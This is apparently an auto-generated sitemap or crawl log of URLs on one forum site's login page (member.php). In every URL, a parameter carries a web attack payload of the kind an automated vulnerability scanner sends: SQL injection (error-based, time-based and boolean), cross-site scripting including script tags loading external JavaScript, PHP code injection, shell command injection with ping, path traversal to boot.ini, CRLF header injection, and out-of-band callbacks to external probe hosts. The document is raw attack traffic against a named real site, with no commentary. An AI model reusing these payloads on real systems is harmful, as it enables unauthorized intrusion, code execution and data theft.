http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage%25%27%29%20AND%2071%3D71%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage%25%27%29%20AND%2098%3D41%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage%25'%20AND%2011=88%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage%25'%20AND%2058=58%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(11=11)%20THEN%20'frommessage'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(91=65)%20THEN%20'frommessage'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage%25';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage%2527 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage%2527%20AND%2069=69%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage%2527%20AND%2082=81%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage%5B%5D 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage%5C%22 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage%5C' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage%a8%a4%00xa7%a8%a4%a1%e9 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage%bf%27 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage'%20AND%20'3W'='Vr 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage'%20AND%20'n8'='n8 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage'%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage'%20OR%20'z0'='z0'%20LIMIT%20100%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(11=11)%20THEN%20'frommessage'%20ELSE%200x28%20END))%20AND%20'Wj'='Wj 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(53=96)%20THEN%20'frommessage'%20ELSE%200x28%20END))%20AND%20'T8'='T8 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage'%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage'%22 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage'%5B.%5D(,.)(%22 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage')%20AND%2022=78%20AND%20('M3'='M3 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage')%20AND%2042=42%20AND%20('aT'='aT 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage')%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(45=45)%20THEN%20'frommessage'%20ELSE%200x28%20END))%20AND%20('7V'='7V 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(61=89)%20THEN%20'frommessage'%20ELSE%200x28%20END))%20AND%20('mE'='mE 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage')%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage'))%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage'),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage',(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage';%20IF(37=37)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage';%20IF(55=68)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage)%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage)%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage);%20IF(23=32)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage);%20IF(28=28)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage,(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessage6633x3X6 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessageAND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessageJyI%3D 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessagealert(42873) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=frommessagee360 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=http://hitBAo6EKQnyr.bxss.me/ 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=http://hitd0rQGQge8t.bxss.me/ 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=http://oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=http://some-inexistent-website.com/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=http://testasp.vulnweb.com/t/fit.txt 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=phpinfo 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=response.write(9412458*9542755) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&frommessage=set%7Cset&set 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=%0d%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=%0d%0a%20SomeCustomInjectedHeader:injected_by_test 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=%3C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=%3C?php%20print(md5(1122));exit;?%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=%3Cdir 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=%60ping%20-c%205%20127.0.0.1%60 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=%7C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=%7Cping%20-n%205%20127.0.0.1%7C 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=%7Cping+-c+4+127.0.0.1 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit='%2bCONVERT(INT,CHAR(106)%2bCHAR(67)%2bCHAR(117)%2bCHAR(106)%2bCHAR(50)%2bCHAR(108)%2bCHAR(67)%2bCHAR(70)%2bCHAR(87)%2bCHAR(122)%2bCHAR(106))%2b' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit='%5D;print(md5(1122));// 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=');print(md5(1122));// 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=';?%3E%3C?exit(md5(1122));?%3E 0.0001 